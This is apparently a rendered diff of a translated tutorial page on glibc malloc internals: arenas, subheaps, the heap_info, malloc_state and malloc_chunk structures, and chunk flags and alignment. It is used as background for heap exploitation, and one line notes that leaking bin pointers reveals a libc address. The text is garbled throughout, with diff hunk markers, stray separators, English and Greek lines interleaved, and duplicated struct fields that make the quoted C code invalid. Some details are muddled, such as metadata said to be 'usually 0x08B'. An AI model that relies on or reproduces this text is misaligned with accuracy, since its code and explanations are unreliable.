When some data is requested to be stored in the heap, some space of the heap is allocated to it. This space will belong to a bin and only the requested data + the space of the bin headers + minimum bin size offset will be reserved for the chunk. The goal is to just reserve as minimum memory as possible without making it complicated to find where each chunk is. For this, the metadata chunk information is used to know where each used/free chunk is.
|
||||
Όταν ζητείται να αποθηκευτούν κάποια δεδομένα στον σωρό, δεσμεύεται κάποιος χώρος του σωρού γι' αυτό. Αυτός ο χώρος θα ανήκει σε ένα bin και μόνο τα ζητούμενα δεδομένα + ο χώρος των κεφαλίδων bin + η ελάχιστη απόσταση μεγέθους bin θα διατηρηθούν για το chunk. Ο στόχος είναι να διατηρηθεί όσο το δυνατόν λιγότερη μνήμη χωρίς να γίνεται περίπλοκο να βρεθεί πού βρίσκεται κάθε chunk. Για αυτό, χρησιμοποιούνται οι πληροφορίες μεταδεδομένων του chunk για να γνωρίζουμε πού βρίσκεται κάθε χρησιμοποιούμενο/ελεύθερο chunk.
|
||||
|
||||
There are different ways to reserver the space mainly depending on the used bin, but a general methodology is the following:
|
||||
Υπάρχουν διάφοροι τρόποι για να δεσμευτεί ο χώρος, κυρίως ανάλογα με το χρησιμοποιούμενο bin, αλλά μια γενική μεθοδολογία είναι η εξής:
|
||||
|
||||
- The program starts by requesting certain amount of memory.
|
||||
- If in the list of chunks there someone available big enough to fulfil the request, it'll be used
|
||||
- This might even mean that part of the available chunk will be used for this request and the rest will be added to the chunks list
|
||||
- If there isn't any available chunk in the list but there is still space in allocated heap memory, the heap manager creates a new chunk
|
||||
- If there is not enough heap space to allocate the new chunk, the heap manager asks the kernel to expand the memory allocated to the heap and then use this memory to generate the new chunk
|
||||
- If everything fails, `malloc` returns null.
|
||||
- Το πρόγραμμα ξεκινά ζητώντας μια συγκεκριμένη ποσότητα μνήμης.
|
||||
- Αν στη λίστα των chunks υπάρχει κάποιο διαθέσιμο αρκετά μεγάλο για να ικανοποιήσει το αίτημα, θα χρησιμοποιηθεί.
|
||||
- Αυτό μπορεί ακόμη και να σημαίνει ότι μέρος του διαθέσιμου chunk θα χρησιμοποιηθεί για αυτό το αίτημα και το υπόλοιπο θα προστεθεί στη λίστα των chunks.
|
||||
- Αν δεν υπάρχει διαθέσιμο chunk στη λίστα αλλά υπάρχει ακόμη χώρος στη δεσμευμένη μνήμη του σωρού, ο διαχειριστής του σωρού δημιουργεί ένα νέο chunk.
|
||||
- Αν δεν υπάρχει αρκετός χώρος στον σωρό για να δεσμευτεί το νέο chunk, ο διαχειριστής του σωρού ζητά από τον πυρήνα να επεκτείνει τη μνήμη που έχει δεσμευτεί για τον σωρό και στη συνέχεια χρησιμοποιεί αυτή τη μνήμη για να δημιουργήσει το νέο chunk.
|
||||
- Αν όλα αποτύχουν, το `malloc` επιστρέφει null.
|
||||
|
||||
Note that if the requested **memory passes a threshold**, **`mmap`** will be used to map the requested memory.
|
||||
Σημειώστε ότι αν η ζητούμενη **μνήμη ξεπερνά ένα όριο**, θα χρησιμοποιηθεί το **`mmap`** για να χαρτογραφηθεί η ζητούμενη μνήμη.
|
||||
|
||||
## Arenas
|
||||
|
||||
In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck.
|
||||
Σε **πολυνηματικές** εφαρμογές, ο διαχειριστής του σωρού πρέπει να αποτρέπει **συνθήκες ταχύτητας** που θα μπορούσαν να οδηγήσουν σε κρα crashes. Αρχικά, αυτό γινόταν χρησιμοποιώντας ένα **παγκόσμιο mutex** για να διασφαλιστεί ότι μόνο ένα νήμα μπορούσε να έχει πρόσβαση στον σωρό τη φορά, αλλά αυτό προκαλούσε **προβλήματα απόδοσης** λόγω του στενέματος που προκαλούσε το mutex.
|
||||
|
||||
To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas.
|
||||
Για να αντιμετωπιστεί αυτό, ο αλγόριθμος διαχείρισης σωρού ptmalloc2 εισήγαγε τις "arenas", όπου **κάθε arena** λειτουργεί ως **ξεχωριστός σωρός** με τις **δικές της** δομές **δεδομένων** και **mutex**, επιτρέποντας σε πολλά νήματα να εκτελούν λειτουργίες σωρού χωρίς να παρεμβαίνουν το ένα στο άλλο, εφόσον χρησιμοποιούν διαφορετικές arenas.
|
||||
|
||||
The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention.
|
||||
Η προεπιλεγμένη "κύρια" arena διαχειρίζεται τις λειτουργίες του σωρού για εφαρμογές με ένα νήμα. Όταν προστίθενται **νέα νήματα**, ο διαχειριστής του σωρού τους αναθέτει **δευτερεύουσες arenas** για να μειώσει την αντιπαλότητα. Αρχικά προσπαθεί να συνδέσει κάθε νέο νήμα με μια μη χρησιμοποιούμενη arena, δημιουργώντας νέες αν χρειαστεί, μέχρι ένα όριο 2 φορές τον αριθμό των πυρήνων CPU για συστήματα 32-bit και 8 φορές για συστήματα 64-bit. Μόλις φτάσει το όριο, **τα νήματα πρέπει να μοιράζονται τις arenas**, οδηγώντας σε πιθανή αντιπαλότητα.
|
||||
|
||||
Unlike the main arena, which expands using the `brk` system call, secondary arenas create "subheaps" using `mmap` and `mprotect` to simulate the heap behaviour, allowing flexibility in managing memory for multithreaded operations.
|
||||
Σε αντίθεση με την κύρια arena, η οποία επεκτείνεται χρησιμοποιώντας την κλήση συστήματος `brk`, οι δευτερεύουσες arenas δημιουργούν "subheaps" χρησιμοποιώντας `mmap` και `mprotect` για να προσομοιώσουν τη συμπεριφορά του σωρού, επιτρέποντας ευελιξία στη διαχείριση μνήμης για πολυνηματικές λειτουργίες.
|
||||
|
||||
### Subheaps
|
||||
|
||||
Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate:
|
||||
Τα subheaps χρησιμεύουν ως αποθέματα μνήμης για δευτερεύουσες arenas σε πολυνηματικές εφαρμογές, επιτρέποντάς τους να αναπτύσσονται και να διαχειρίζονται τις δικές τους περιοχές σωρού ξεχωριστά από τον κύριο σωρό. Να πώς διαφέρουν τα subheaps από τον αρχικό σωρό και πώς λειτουργούν:
|
||||
|
||||
1. **Initial Heap vs. Subheaps**:
|
||||
- The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call.
|
||||
- Subheaps, used by secondary arenas, are created through `mmap`, a system call that maps a specified memory region.
|
||||
2. **Memory Reservation with `mmap`**:
|
||||
- When the heap manager creates a subheap, it reserves a large block of memory through `mmap`. This reservation doesn't allocate memory immediately; it simply designates a region that other system processes or allocations shouldn't use.
|
||||
- By default, the reserved size for a subheap is 1 MB for 32-bit processes and 64 MB for 64-bit processes.
|
||||
3. **Gradual Expansion with `mprotect`**:
|
||||
- The reserved memory region is initially marked as `PROT_NONE`, indicating that the kernel doesn't need to allocate physical memory to this space yet.
|
||||
- To "grow" the subheap, the heap manager uses `mprotect` to change page permissions from `PROT_NONE` to `PROT_READ | PROT_WRITE`, prompting the kernel to allocate physical memory to the previously reserved addresses. This step-by-step approach allows the subheap to expand as needed.
|
||||
- Once the entire subheap is exhausted, the heap manager creates a new subheap to continue allocation.
|
||||
1. **Αρχικός Σωρός vs. Subheaps**:
|
||||
- Ο αρχικός σωρός βρίσκεται ακριβώς μετά το δυαδικό αρχείο του προγράμματος στη μνήμη και επεκτείνεται χρησιμοποιώντας την κλήση συστήματος `sbrk`.
|
||||
- Τα subheaps, που χρησιμοποιούνται από δευτερεύουσες arenas, δημιουργούνται μέσω του `mmap`, μιας κλήσης συστήματος που χαρτογραφεί μια καθορισμένη περιοχή μνήμης.
|
||||
2. **Δέσμευση Μνήμης με `mmap`**:
|
||||
- Όταν ο διαχειριστής του σωρού δημιουργεί ένα subheap, δεσμεύει ένα μεγάλο μπλοκ μνήμης μέσω του `mmap`. Αυτή η δέσμευση δεν δεσμεύει άμεσα μνήμη; απλώς καθορίζει μια περιοχή που δεν πρέπει να χρησιμοποιούν άλλες διαδικασίες ή δεσμεύσεις του συστήματος.
|
||||
- Από προεπιλογή, το μέγεθος που έχει δεσμευτεί για ένα subheap είναι 1 MB για διαδικασίες 32-bit και 64 MB για διαδικασίες 64-bit.
|
||||
3. **Σταδιακή Επέκταση με `mprotect`**:
|
||||
- Η δεσμευμένη περιοχή μνήμης αρχικά σημειώνεται ως `PROT_NONE`, υποδεικνύοντας ότι ο πυρήνας δεν χρειάζεται να δεσμεύσει φυσική μνήμη σε αυτόν τον χώρο ακόμα.
|
||||
- Για να "αναπτυχθεί" το subheap, ο διαχειριστής του σωρού χρησιμοποιεί το `mprotect` για να αλλάξει τις άδειες σελίδας από `PROT_NONE` σε `PROT_READ | PROT_WRITE`, προτρέποντας τον πυρήνα να δεσμεύσει φυσική μνήμη στις προηγουμένως δεσμευμένες διευθύνσεις. Αυτή η σταδιακή προσέγγιση επιτρέπει στο subheap να επεκτείνεται κατά ανάγκη.
|
||||
- Μόλις εξαντληθεί ολόκληρο το subheap, ο διαχειριστής του σωρού δημιουργεί ένα νέο subheap για να συνεχίσει τη δέσμευση.
|
||||
|
||||
### heap_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
This struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info.
|
||||
|
||||
Αυτή η δομή δεσμεύει σχετικές πληροφορίες του σωρού. Επιπλέον, η μνήμη του σωρού μπορεί να μην είναι συνεχής μετά από περισσότερες δεσμεύσεις, αυτή η δομή θα αποθηκεύει επίσης αυτές τις πληροφορίες.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
|
||||
|
||||
typedef struct _heap_info
|
||||
{
|
||||
mstate ar_ptr; /* Arena for this heap. */
|
||||
struct _heap_info *prev; /* Previous heap. */
|
||||
size_t size; /* Current size in bytes. */
|
||||
size_t mprotect_size; /* Size in bytes that has been mprotected
|
||||
PROT_READ|PROT_WRITE. */
|
||||
size_t pagesize; /* Page size used when allocating the arena. */
|
||||
/* Make sure the following data is properly aligned, particularly
|
||||
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
|
||||
MALLOC_ALIGNMENT. */
|
||||
char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
||||
mstate ar_ptr; /* Arena for this heap. */
|
||||
struct _heap_info *prev; /* Previous heap. */
|
||||
size_t size; /* Current size in bytes. */
|
||||
size_t mprotect_size; /* Size in bytes that has been mprotected
|
||||
PROT_READ|PROT_WRITE. */
|
||||
size_t pagesize; /* Page size used when allocating the arena. */
|
||||
/* Make sure the following data is properly aligned, particularly
|
||||
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
|
||||
MALLOC_ALIGNMENT. */
|
||||
char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
||||
} heap_info;
|
||||
```
|
||||
|
||||
### malloc_state
|
||||
|
||||
**Each heap** (main arena or other threads arenas) has a **`malloc_state` structure.**\
|
||||
It’s important to notice that the **main arena `malloc_state`** structure is a **global variable in the libc** (therefore located in the libc memory space).\
|
||||
In the case of **`malloc_state`** structures of the heaps of threads, they are located **inside own thread "heap"**.
|
||||
**Κάθε heap** (κύρια αρένα ή άλλες αρένες νημάτων) έχει μια **δομή `malloc_state`.**\
|
||||
Είναι σημαντικό να σημειωθεί ότι η **δομή `malloc_state` της κύριας αρένας** είναι μια **παγκόσμια μεταβλητή στη libc** (άρα βρίσκεται στον χώρο μνήμης της libc).\
|
||||
Στην περίπτωση των δομών **`malloc_state`** των heaps των νημάτων, βρίσκονται **μέσα στο "heap" του δικού τους νήματος**.
|
||||
|
||||
There some interesting things to note from this structure (see C code below):
|
||||
Υπάρχουν μερικά ενδιαφέροντα πράγματα να σημειωθούν από αυτή τη δομή (δείτε τον παρακάτω κώδικα C):
|
||||
|
||||
- `__libc_lock_define (, mutex);` Is there to make sure this structure from the heap is accessed by 1 thread at a time
|
||||
- Flags:
|
||||
- `__libc_lock_define (, mutex);` Υπάρχει για να διασφαλίσει ότι αυτή η δομή από το heap προσπελάζεται από 1 νήμα τη φορά
|
||||
- Σημαίες:
|
||||
|
||||
- ```c
|
||||
#define NONCONTIGUOUS_BIT (2U)
|
||||
- ```c
|
||||
#define NONCONTIGUOUS_BIT (2U)
|
||||
|
||||
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
|
||||
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
|
||||
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
|
||||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||
```
|
||||
|
||||
- The `mchunkptr bins[NBINS * 2 - 2];` contains **pointers** to the **first and last chunks** of the small, large and unsorted **bins** (the -2 is because the index 0 is not used)
|
||||
- Therefore, the **first chunk** of these bins will have a **backwards pointer to this structure** and the **last chunk** of these bins will have a **forward pointer** to this structure. Which basically means that if you can l**eak these addresses in the main arena** you will have a pointer to the structure in the **libc**.
|
||||
- The structs `struct malloc_state *next;` and `struct malloc_state *next_free;` are linked lists os arenas
|
||||
- The `top` chunk is the last "chunk", which is basically **all the heap reminding space**. Once the top chunk is "empty", the heap is completely used and it needs to request more space.
|
||||
- The `last reminder` chunk comes from cases where an exact size chunk is not available and therefore a bigger chunk is splitter, a pointer remaining part is placed here.
|
||||
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
|
||||
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
|
||||
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
|
||||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||
```
|
||||
|
||||
- Ο `mchunkptr bins[NBINS * 2 - 2];` περιέχει **δείκτες** στους **πρώτους και τελευταίους chunks** των μικρών, μεγάλων και αταξινόμητων **bins** (το -2 είναι επειδή ο δείκτης 0 δεν χρησιμοποιείται)
|
||||
- Επομένως, το **πρώτο chunk** αυτών των bins θα έχει έναν **πίσω δείκτη σε αυτή τη δομή** και το **τελευταίο chunk** αυτών των bins θα έχει έναν **μπροστά δείκτη** σε αυτή τη δομή. Αυτό σημαίνει βασικά ότι αν μπορείτε να **διαρρεύσετε αυτές τις διευθύνσεις στην κύρια αρένα** θα έχετε έναν δείκτη στη δομή στη **libc**.
|
||||
- Οι δομές `struct malloc_state *next;` και `struct malloc_state *next_free;` είναι συνδεδεμένες λίστες αρεών
|
||||
- Το `top` chunk είναι το τελευταίο "chunk", το οποίο είναι βασικά **όλος ο χώρος που απομένει στο heap**. Μόλις το top chunk είναι "άδειο", το heap έχει χρησιμοποιηθεί εντελώς και χρειάζεται να ζητήσει περισσότερο χώρο.
|
||||
- Το `last reminder` chunk προέρχεται από περιπτώσεις όπου δεν είναι διαθέσιμο ένα chunk ακριβούς μεγέθους και επομένως ένα μεγαλύτερο chunk διασπάται, ένα δείκτης που απομένει τοποθετείται εδώ.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||
|
||||
struct malloc_state
|
||||
{
|
||||
/* Serialize access. */
|
||||
__libc_lock_define (, mutex);
|
||||
/* Serialize access. */
|
||||
__libc_lock_define (, mutex);
|
||||
|
||||
/* Flags (formerly in max_fast). */
|
||||
int flags;
|
||||
/* Flags (formerly in max_fast). */
|
||||
int flags;
|
||||
|
||||
/* Set if the fastbin chunks contain recently inserted free blocks. */
|
||||
/* Note this is a bool but not all targets support atomics on booleans. */
|
||||
int have_fastchunks;
|
||||
/* Set if the fastbin chunks contain recently inserted free blocks. */
|
||||
/* Note this is a bool but not all targets support atomics on booleans. */
|
||||
int have_fastchunks;
|
||||
|
||||
/* Fastbins */
|
||||
mfastbinptr fastbinsY[NFASTBINS];
|
||||
/* Fastbins */
|
||||
mfastbinptr fastbinsY[NFASTBINS];
|
||||
|
||||
/* Base of the topmost chunk -- not otherwise kept in a bin */
|
||||
mchunkptr top;
|
||||
/* Base of the topmost chunk -- not otherwise kept in a bin */
|
||||
mchunkptr top;
|
||||
|
||||
/* The remainder from the most recent split of a small request */
|
||||
mchunkptr last_remainder;
|
||||
/* The remainder from the most recent split of a small request */
|
||||
mchunkptr last_remainder;
|
||||
|
||||
/* Normal bins packed as described above */
|
||||
mchunkptr bins[NBINS * 2 - 2];
|
||||
/* Normal bins packed as described above */
|
||||
mchunkptr bins[NBINS * 2 - 2];
|
||||
|
||||
/* Bitmap of bins */
|
||||
unsigned int binmap[BINMAPSIZE];
|
||||
/* Bitmap of bins */
|
||||
unsigned int binmap[BINMAPSIZE];
|
||||
|
||||
/* Linked list */
|
||||
struct malloc_state *next;
|
||||
/* Linked list */
|
||||
struct malloc_state *next;
|
||||
|
||||
/* Linked list for free arenas. Access to this field is serialized
|
||||
by free_list_lock in arena.c. */
|
||||
struct malloc_state *next_free;
|
||||
/* Linked list for free arenas. Access to this field is serialized
|
||||
by free_list_lock in arena.c. */
|
||||
struct malloc_state *next_free;
|
||||
|
||||
/* Number of threads attached to this arena. 0 if the arena is on
|
||||
the free list. Access to this field is serialized by
|
||||
free_list_lock in arena.c. */
|
||||
INTERNAL_SIZE_T attached_threads;
|
||||
/* Number of threads attached to this arena. 0 if the arena is on
|
||||
the free list. Access to this field is serialized by
|
||||
free_list_lock in arena.c. */
|
||||
INTERNAL_SIZE_T attached_threads;
|
||||
|
||||
/* Memory allocated from the system in this arena. */
|
||||
INTERNAL_SIZE_T system_mem;
|
||||
INTERNAL_SIZE_T max_system_mem;
|
||||
/* Memory allocated from the system in this arena. */
|
||||
INTERNAL_SIZE_T system_mem;
|
||||
INTERNAL_SIZE_T max_system_mem;
|
||||
};
|
||||
```
|
||||
|
||||
### malloc_chunk
|
||||
|
||||
This structure represents a particular chunk of memory. The various fields have different meaning for allocated and unallocated chunks.
|
||||
|
||||
Αυτή η δομή αναπαριστά ένα συγκεκριμένο κομμάτι μνήμης. Τα διάφορα πεδία έχουν διαφορετική σημασία για τα κατανεμημένα και μη κατανεμημένα κομμάτια.
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
struct malloc_chunk {
|
||||
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
|
||||
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
|
||||
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
|
||||
struct malloc_chunk* bk;
|
||||
/* Only used for large blocks: pointer to next larger size. */
|
||||
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
|
||||
struct malloc_chunk* bk_nextsize;
|
||||
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
|
||||
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
|
||||
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
|
||||
struct malloc_chunk* bk;
|
||||
/* Only used for large blocks: pointer to next larger size. */
|
||||
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
|
||||
struct malloc_chunk* bk_nextsize;
|
||||
};
|
||||
|
||||
typedef struct malloc_chunk* mchunkptr;
|
||||
```
|
||||
|
||||
As commented previously, these chunks also have some metadata, very good represented in this image:
|
||||
Όπως σχολιάστηκε προηγουμένως, αυτά τα κομμάτια έχουν επίσης κάποια μεταδεδομένα, πολύ καλά απεικονισμένα σε αυτή την εικόνα:
|
||||
|
||||
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate:
|
||||
Τα μεταδεδομένα είναι συνήθως 0x08B που υποδεικνύει το μέγεθος του τρέχοντος κομματιού χρησιμοποιώντας τα τελευταία 3 bits για να υποδείξει:
|
||||
|
||||
- `A`: If 1 it comes from a subheap, if 0 it's in the main arena
|
||||
- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap
|
||||
- `P`: If 1, the previous chunk is in use
|
||||
- `A`: Αν είναι 1 προέρχεται από ένα υποσωρό, αν είναι 0 είναι στην κύρια αρένα
|
||||
- `M`: Αν είναι 1, αυτό το κομμάτι είναι μέρος ενός χώρου που έχει κατανεμηθεί με mmap και δεν είναι μέρος ενός σωρού
|
||||
- `P`: Αν είναι 1, το προηγούμενο κομμάτι είναι σε χρήση
|
||||
|
||||
Then, the space for the user data, and finally 0x08B to indicate the previous chunk size when the chunk is available (or to store user data when it's allocated).
|
||||
Στη συνέχεια, ο χώρος για τα δεδομένα του χρήστη, και τελικά 0x08B για να υποδείξει το μέγεθος του προηγούμενου κομματιού όταν το κομμάτι είναι διαθέσιμο (ή για να αποθηκεύσει δεδομένα χρήστη όταν είναι κατανεμημένο).
|
||||
|
||||
Moreover, when available, the user data is used to contain also some data:
|
||||
Επιπλέον, όταν είναι διαθέσιμα, τα δεδομένα του χρήστη χρησιμοποιούνται επίσης για να περιέχουν κάποια δεδομένα:
|
||||
|
||||
- **`fd`**: Pointer to the next chunk
|
||||
- **`bk`**: Pointer to the previous chunk
|
||||
- **`fd_nextsize`**: Pointer to the first chunk in the list is smaller than itself
|
||||
- **`bk_nextsize`:** Pointer to the first chunk the list that is larger than itself
|
||||
- **`fd`**: Δείκτης στο επόμενο κομμάτι
|
||||
- **`bk`**: Δείκτης στο προηγούμενο κομμάτι
|
||||
- **`fd_nextsize`**: Δείκτης στο πρώτο κομμάτι στη λίστα που είναι μικρότερο από το ίδιο
|
||||
- **`bk_nextsize`:** Δείκτης στο πρώτο κομμάτι της λίστας που είναι μεγαλύτερο από το ίδιο
|
||||
|
||||
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Note how liking the list this way prevents the need to having an array where every single chunk is being registered.
|
||||
> Σημειώστε πώς η σύνδεση της λίστας με αυτόν τον τρόπο αποτρέπει την ανάγκη να υπάρχει ένας πίνακας όπου καταχωρείται κάθε κομμάτι.
|
||||
|
||||
### Chunk Pointers
|
||||
|
||||
When malloc is used a pointer to the content that can be written is returned (just after the headers), however, when managing chunks, it's needed a pointer to the begining of the headers (metadata).\
|
||||
For these conversions these functions are used:
|
||||
### Δείκτες Κομματιών
|
||||
|
||||
Όταν χρησιμοποιείται malloc επιστρέφεται ένας δείκτης στο περιεχόμενο που μπορεί να γραφτεί (αμέσως μετά τις κεφαλίδες), ωστόσο, όταν διαχειρίζεστε κομμάτια, χρειάζεται ένας δείκτης στην αρχή των κεφαλίδων (μεταδεδομένα).\
|
||||
Για αυτές τις μετατροπές χρησιμοποιούνται αυτές οι συναρτήσεις:
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
|
||||
@ -207,13 +200,11 @@ For these conversions these functions are used:
|
||||
/* The smallest size we can malloc is an aligned minimal chunk */
|
||||
|
||||
#define MINSIZE \
|
||||
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
|
||||
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
|
||||
```
|
||||
### Ευθυγράμμιση & ελάχιστο μέγεθος
|
||||
|
||||
### Alignment & min size
|
||||
|
||||
The pointer to the chunk and `0x0f` must be 0.
|
||||
|
||||
Ο δείκτης προς το κομμάτι και `0x0f` πρέπει να είναι 0.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
|
||||
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
|
||||
@ -227,56 +218,54 @@ The pointer to the chunk and `0x0f` must be 0.
|
||||
#define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)
|
||||
|
||||
#define misaligned_chunk(p) \
|
||||
((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
|
||||
& MALLOC_ALIGN_MASK)
|
||||
((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
|
||||
& MALLOC_ALIGN_MASK)
|
||||
|
||||
|
||||
/* pad request bytes into a usable size -- internal version */
|
||||
/* Note: This must be a macro that evaluates to a compile time constant
|
||||
if passed a literal constant. */
|
||||
if passed a literal constant. */
|
||||
#define request2size(req) \
|
||||
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
|
||||
MINSIZE : \
|
||||
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
|
||||
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
|
||||
MINSIZE : \
|
||||
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
|
||||
|
||||
/* Check if REQ overflows when padded and aligned and if the resulting
|
||||
value is less than PTRDIFF_T. Returns the requested size or
|
||||
MINSIZE in case the value is less than MINSIZE, or 0 if any of the
|
||||
previous checks fail. */
|
||||
value is less than PTRDIFF_T. Returns the requested size or
|
||||
MINSIZE in case the value is less than MINSIZE, or 0 if any of the
|
||||
previous checks fail. */
|
||||
static inline size_t
|
||||
checked_request2size (size_t req) __nonnull (1)
|
||||
{
|
||||
if (__glibc_unlikely (req > PTRDIFF_MAX))
|
||||
return 0;
|
||||
if (__glibc_unlikely (req > PTRDIFF_MAX))
|
||||
return 0;
|
||||
|
||||
/* When using tagged memory, we cannot share the end of the user
|
||||
block with the header for the next chunk, so ensure that we
|
||||
allocate blocks that are rounded up to the granule size. Take
|
||||
care not to overflow from close to MAX_SIZE_T to a small
|
||||
number. Ideally, this would be part of request2size(), but that
|
||||
must be a macro that produces a compile time constant if passed
|
||||
a constant literal. */
|
||||
if (__glibc_unlikely (mtag_enabled))
|
||||
{
|
||||
/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
|
||||
asm ("");
|
||||
/* When using tagged memory, we cannot share the end of the user
|
||||
block with the header for the next chunk, so ensure that we
|
||||
allocate blocks that are rounded up to the granule size. Take
|
||||
care not to overflow from close to MAX_SIZE_T to a small
|
||||
number. Ideally, this would be part of request2size(), but that
|
||||
must be a macro that produces a compile time constant if passed
|
||||
a constant literal. */
|
||||
if (__glibc_unlikely (mtag_enabled))
|
||||
{
|
||||
/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
|
||||
asm ("");
|
||||
|
||||
req = (req + (__MTAG_GRANULE_SIZE - 1)) &
|
||||
~(size_t)(__MTAG_GRANULE_SIZE - 1);
|
||||
}
|
||||
req = (req + (__MTAG_GRANULE_SIZE - 1)) &
|
||||
~(size_t)(__MTAG_GRANULE_SIZE - 1);
|
||||
}
|
||||
|
||||
return request2size (req);
|
||||
return request2size (req);
|
||||
}
|
||||
```
|
||||
Σημειώστε ότι για τον υπολογισμό του συνολικού χώρου που απαιτείται προστίθεται μόνο μία φορά το `SIZE_SZ` επειδή το πεδίο `prev_size` μπορεί να χρησιμοποιηθεί για την αποθήκευση δεδομένων, επομένως απαιτείται μόνο η αρχική κεφαλίδα.
|
||||
|
||||
Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed.
|
||||
### Λάβετε δεδομένα Chunk και τροποποιήστε τα μεταδεδομένα
|
||||
|
||||
### Get Chunk data and alter metadata
|
||||
|
||||
These functions work by receiving a pointer to a chunk and are useful to check/set metadata:
|
||||
|
||||
- Check chunk flags
|
||||
Αυτές οι συναρτήσεις λειτουργούν λαμβάνοντας έναν δείκτη σε ένα chunk και είναι χρήσιμες για τον έλεγχο/ρύθμιση μεταδεδομένων:
|
||||
|
||||
- Ελέγξτε τις σημαίες του chunk
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
|
||||
@ -296,8 +285,8 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
|
||||
|
||||
|
||||
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
|
||||
from a non-main arena. This is only set immediately before handing
|
||||
the chunk to the user, if necessary. */
|
||||
from a non-main arena. This is only set immediately before handing
|
||||
the chunk to the user, if necessary. */
|
||||
#define NON_MAIN_ARENA 0x4
|
||||
|
||||
/* Check for chunk from main arena. */
|
||||
@ -306,18 +295,16 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
|
||||
/* Mark a chunk as not being on the main arena. */
|
||||
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
|
||||
```
|
||||
|
||||
- Sizes and pointers to other chunks
|
||||
|
||||
- Μεγέθη και δείκτες σε άλλα κομμάτια
|
||||
```c
|
||||
/*
|
||||
Bits to mask off when extracting size
|
||||
Bits to mask off when extracting size
|
||||
|
||||
Note: IS_MMAPPED is intentionally not masked off from size field in
|
||||
macros for which mmapped chunks should never be seen. This should
|
